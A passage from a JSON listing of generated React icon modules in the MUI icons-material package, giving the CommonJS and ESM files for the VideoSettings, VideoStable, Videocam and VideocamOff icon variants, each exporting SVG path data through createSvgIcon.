0-.31.11l-1.03 1.79c-.06.11-.04.24.06.32l1.07.86c-.03.29-.04.58-.01.86l-1.07.85c-.1.08-.12.21-.06.32l1.03 1.79c.06.11.19.15.31.11l1.27-.5q.345.255.75.42l.2 1.36c.02.12.12.21.25.21h2.07c.12 0 .23-.09.25-.21l.2-1.36c.26-.11.51-.26.74-.42l1.28.5c.12.05.25 0 .31-.11l1.03-1.79c.06-.11.04-.24-.06-.32zM19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettings');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettings.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h18v5h2V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12 9 8v8zm7.71 6.43c.03-.29.04-.58.01-.86l1.07-.85c.1-.08.12-.21.06-.32l-1.03-1.79c-.06-.11-.19-.15-.31-.11l-1.28.5q-.345-.255-.75-.42l-.2-1.36c-.02-.13-.12-.22-.25-.22h-2.07c-.12 0-.23.09-.25.21l-.2 1.36c-.26.11-.51.26-.74.42l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.79c-.06.11-.04.24.06.32l1.07.86c-.03.29-.04.58-.01.86l-1.07.85c-.1.08-.12.21-.06.32l1.03 1.79c.06.11.19.15.31.11l1.27-.5q.345.255.75.42l.2 1.36c.02.12.12.21.25.21h2.07c.12 0 .23-.09.25-.21l.2-1.36c.26-.11.51-.26.74-.42l1.28.5c.12.05.25 0 .31-.11l1.03-1.79c.06-.11.04-.24-.06-.32zM19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettings');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettingsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h18v5h2V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12 9 8v8zm7.71 6.43c.03-.29.04-.58.01-.86l1.07-.85c.1-.08.12-.21.06-.32l-1.03-1.79c-.06-.11-.19-.15-.31-.11l-1.28.5q-.345-.255-.75-.42l-.2-1.36c-.02-.13-.12-.22-.25-.22h-2.07c-.12 0-.23.09-.25.21l-.2 1.36c-.26.11-.51.26-.74.42l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.79c-.06.11-.04.24.06.32l1.07.86c-.03.29-.04.58-.01.86l-1.07.85c-.1.08-.12.21-.06.32l1.03 1.79c.06.11.19.15.31.11l1.27-.5q.345.255.75.42l.2 1.36c.02.12.12.21.25.21h2.07c.12 0 .23-.09.25-.21l.2-1.36c.26-.11.51-.26.74-.42l1.28.5c.12.05.25 0 .31-.11l1.03-1.79c.06-.11.04-.24-.06-.32zM19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettingsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h18v5h2V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12 9 8v8zm7.71 6.43c.03-.29.04-.58.01-.86l1.07-.85c.1-.08.12-.21.06-.32l-1.03-1.79c-.06-.11-.19-.15-.31-.11l-1.28.5q-.345-.255-.75-.42l-.2-1.36c-.02-.13-.12-.22-.25-.22h-2.07c-.12 0-.23.09-.25.21l-.2 1.36c-.26.11-.51.26-.74.42l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.79c-.06.11-.04.24.06.32l1.07.86c-.03.29-.04.58-.01.86l-1.07.85c-.1.08-.12.21-.06.32l1.03 1.79c.06.11.19.15.31.11l1.27-.5q.345.255.75.42l.2 1.36c.02.12.12.21.25.21h2.07c.12 0 .23-.09.25-.21l.2-1.36c.26-.11.51-.26.74-.42l1.28.5c.12.05.25 0 .31-.11l1.03-1.79c.06-.11.04-.24-.06-.32zM19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettingsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16c.55 0 1 .45 1 1v4h2V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12 9 8v8zm7.71 6.43c.03-.29.04-.58.01-.86l1.07-.85c.1-.08.12-.21.06-.32l-1.03-1.79c-.06-.11-.19-.15-.31-.11l-1.28.5q-.345-.255-.75-.42l-.2-1.36c-.02-.13-.12-.22-.25-.22h-2.07c-.12 0-.23.09-.25.21l-.2 1.36c-.26.11-.51.26-.74.42l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.79c-.06.11-.04.24.06.32l1.07.86c-.03.29-.04.58-.01.86l-1.07.85c-.1.08-.12.21-.06.32l1.03 1.79c.06.11.19.15.31.11l1.27-.5q.345.255.75.42l.2 1.36c.02.12.12.21.25.21h2.07c.12 0 .23-.09.25-.21l.2-1.36c.26-.11.51-.26.74-.42l1.28.5c.12.05.25 0 .31-.11l1.03-1.79c.06-.11.04-.24-.06-.32zM19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettingsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16c.55 0 1 .45 1 1v4h2V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H4c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12 9 8v8zm7.71 6.43c.03-.29.04-.58.01-.86l1.07-.85c.1-.08.12-.21.06-.32l-1.03-1.79c-.06-.11-.19-.15-.31-.11l-1.28.5q-.345-.255-.75-.42l-.2-1.36c-.02-.13-.12-.22-.25-.22h-2.07c-.12 0-.23.09-.25.21l-.2 1.36c-.26.11-.51.26-.74.42l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.79c-.06.11-.04.24.06.32l1.07.86c-.03.29-.04.58-.01.86l-1.07.85c-.1.08-.12.21-.06.32l1.03 1.79c.06.11.19.15.31.11l1.27-.5q.345.255.75.42l.2 1.36c.02.12.12.21.25.21h2.07c.12 0 .23-.09.25-.21l.2-1.36c.26-.11.51-.26.74-.42l1.28.5c.12.05.25 0 .31-.11l1.03-1.79c.06-.11.04-.24-.06-.32zM19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettingsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h18v5h2V4H1v16h11v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12 9 8v8zm7.72 5.57 1.23-.98-1.25-2.17-1.47.58q-.345-.255-.75-.42L20.25 13h-2.5l-.24 1.58c-.26.11-.51.26-.74.42l-1.48-.58-1.25 2.17 1.24.99c-.03.29-.04.58-.01.86l-1.23.98 1.25 2.17 1.48-.59q.345.255.75.42l.23 1.58h2.5l.24-1.58c.26-.11.51-.26.74-.42l1.48.58 1.25-2.17-1.24-.99c.03-.28.03-.57 0-.85M19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettingsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h18v5h2V4H1v16h11v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12 9 8v8zm7.72 5.57 1.23-.98-1.25-2.17-1.47.58q-.345-.255-.75-.42L20.25 13h-2.5l-.24 1.58c-.26.11-.51.26-.74.42l-1.48-.58-1.25 2.17 1.24.99c-.03.29-.04.58-.01.86l-1.23.98 1.25 2.17 1.48-.59q.345.255.75.42l.23 1.58h2.5l.24-1.58c.26-.11.51-.26.74-.42l1.48.58 1.25-2.17-1.24-.99c.03-.28.03-.57 0-.85M19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettingsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h18v5h2V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12 9 8v8zm7.71 6.43c.03-.29.04-.58.01-.86l1.07-.85c.1-.08.12-.21.06-.32l-1.03-1.79c-.06-.11-.19-.15-.31-.11l-1.28.5q-.345-.255-.75-.42l-.2-1.36c-.02-.13-.12-.22-.25-.22h-2.07c-.12 0-.23.09-.25.21l-.2 1.36c-.26.11-.51.26-.74.42l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.79c-.06.11-.04.24.06.32l1.07.86c-.03.29-.04.58-.01.86l-1.07.85c-.1.08-.12.21-.06.32l1.03 1.79c.06.11.19.15.31.11l1.27-.5q.345.255.75.42l.2 1.36c.02.12.12.21.25.21h2.07c.12 0 .23-.09.25-.21l.2-1.36c.26-.11.51-.26.74-.42l1.28.5c.12.05.25 0 .31-.11l1.03-1.79c.06-.11.04-.24-.06-.32zM19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettingsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h18v5h2V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12 9 8v8zm7.71 6.43c.03-.29.04-.58.01-.86l1.07-.85c.1-.08.12-.21.06-.32l-1.03-1.79c-.06-.11-.19-.15-.31-.11l-1.28.5q-.345-.255-.75-.42l-.2-1.36c-.02-.13-.12-.22-.25-.22h-2.07c-.12 0-.23.09-.25.21l-.2 1.36c-.26.11-.51.26-.74.42l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.79c-.06.11-.04.24.06.32l1.07.86c-.03.29-.04.58-.01.86l-1.07.85c-.1.08-.12.21-.06.32l1.03 1.79c.06.11.19.15.31.11l1.27-.5q.345.255.75.42l.2 1.36c.02.12.12.21.25.21h2.07c.12 0 .23-.09.25-.21l.2-1.36c.26-.11.51-.26.74-.42l1.28.5c.12.05.25 0 .31-.11l1.03-1.79c.06-.11.04-.24-.06-.32zM19 19.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'VideoSettingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStable.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h2.95l-2.33 8.73L16.82 18zm16 0h-2.95l2.34-8.73L7.18 6H20z\"\n}), 'VideoStable');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStable.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h2.95l-2.33 8.73L16.82 18zm16 0h-2.95l2.34-8.73L7.18 6H20z\"\n}), 'VideoStable');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStableOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h2.95l-2.33 8.73L16.82 18zm11.62-2.39-8.55-2.29L8.38 8.4l8.56 2.29zM20 18h-2.95l2.34-8.73L7.18 6H20z\"\n}), 'VideoStableOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStableOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h2.95l-2.33 8.73L16.82 18zm11.62-2.39-8.55-2.29L8.38 8.4l8.56 2.29zM20 18h-2.95l2.34-8.73L7.18 6H20z\"\n}), 'VideoStableOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStableRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.96 4.01h-16c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-12c0-1.1-.9-2-2-2M20 6v12H4V6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.42 9.01 7.92 6.18c-.53-.14-1.08.17-1.22.7l-1.85 6.87c-.14.53.17 1.08.71 1.23l10.5 2.83c.53.14 1.08-.17 1.23-.71l1.85-6.87c.13-.53-.19-1.08-.72-1.22\"\n}, \"1\")], 'VideoStableRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStableRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.96 4.01h-16c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-12c0-1.1-.9-2-2-2M20 6v12H4V6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.42 9.01 7.92 6.18c-.53-.14-1.08.17-1.22.7l-1.85 6.87c-.14.53.17 1.08.71 1.23l10.5 2.83c.53.14 1.08-.17 1.23-.71l1.85-6.87c.13-.53-.19-1.08-.72-1.22\"\n}, \"1\")], 'VideoStableRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStableSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm2 14V6h2.95l-2.33 8.73L16.82 18zm16 0h-2.95l2.34-8.73L7.18 6H20z\"\n}), 'VideoStableSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStableSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm2 14V6h2.95l-2.33 8.73L16.82 18zm16 0h-2.95l2.34-8.73L7.18 6H20z\"\n}), 'VideoStableSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStableTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.0627 13.3185 1.3204-4.926 8.558 2.2938-1.3205 4.9261z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h2.95l-2.33 8.73L16.82 18zm11.62-2.39-8.55-2.29L8.38 8.4l8.56 2.29zM20 18h-2.95l2.34-8.73L7.18 6H20z\"\n}, \"1\")], 'VideoStableTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoStableTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.0627 13.3185 1.3204-4.926 8.558 2.2938-1.3205 4.9261z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h2.95l-2.33 8.73L16.82 18zm11.62-2.39-8.55-2.29L8.38 8.4l8.56 2.29zM20 18h-2.95l2.34-8.73L7.18 6H20z\"\n}, \"1\")], 'VideoStableTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Videocam.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11z\"\n}), 'Videocam');"
  },
  {
    "path": "packages/mui-icons-material/lib/Videocam.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11z\"\n}), 'Videocam');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 6.5-4 4V7c0-.55-.45-1-1-1H9.82L21 17.18zM3.27 2 2 3.27 4.73 6H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.21 0 .39-.08.54-.18L19.73 21 21 19.73z\"\n}), 'VideocamOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 6.5-4 4V7c0-.55-.45-1-1-1H9.82L21 17.18zM3.27 2 2 3.27 4.73 6H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.21 0 .39-.08.54-.18L19.73 21 21 19.73z\"\n}), 'VideocamOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.56 8-2-2-4.15-4.14L2 3.27 4.73 6H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.21 0 .39-.08.55-.18L19.73 21l1.41-1.41-8.86-8.86zM5 16V8h1.73l8 8zm10-8v2.61l6 6V6.5l-4 4V7c0-.55-.45-1-1-1h-5.61l2 2z\"\n}), 'VideocamOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.56 8-2-2-4.15-4.14L2 3.27 4.73 6H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.21 0 .39-.08.55-.18L19.73 21l1.41-1.41-8.86-8.86zM5 16V8h1.73l8 8zm10-8v2.61l6 6V6.5l-4 4V7c0-.55-.45-1-1-1h-5.61l2 2z\"\n}), 'VideocamOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14.2V8.91c0-.89-1.08-1.34-1.71-.71L17 10.5V7c0-.55-.45-1-1-1h-5.61l8.91 8.91c.62.63 1.7.18 1.7-.71M2.71 2.56c-.39.39-.39 1.02 0 1.41L4.73 6H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.21 0 .39-.08.55-.18l2.48 2.48c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.12 2.56a.996.996 0 0 0-1.41 0\"\n}), 'VideocamOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14.2V8.91c0-.89-1.08-1.34-1.71-.71L17 10.5V7c0-.55-.45-1-1-1h-5.61l8.91 8.91c.62.63 1.7.18 1.7-.71M2.71 2.56c-.39.39-.39 1.02 0 1.41L4.73 6H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.21 0 .39-.08.55-.18l2.48 2.48c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.12 2.56a.996.996 0 0 0-1.41 0\"\n}), 'VideocamOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideocamOffSharp.js",
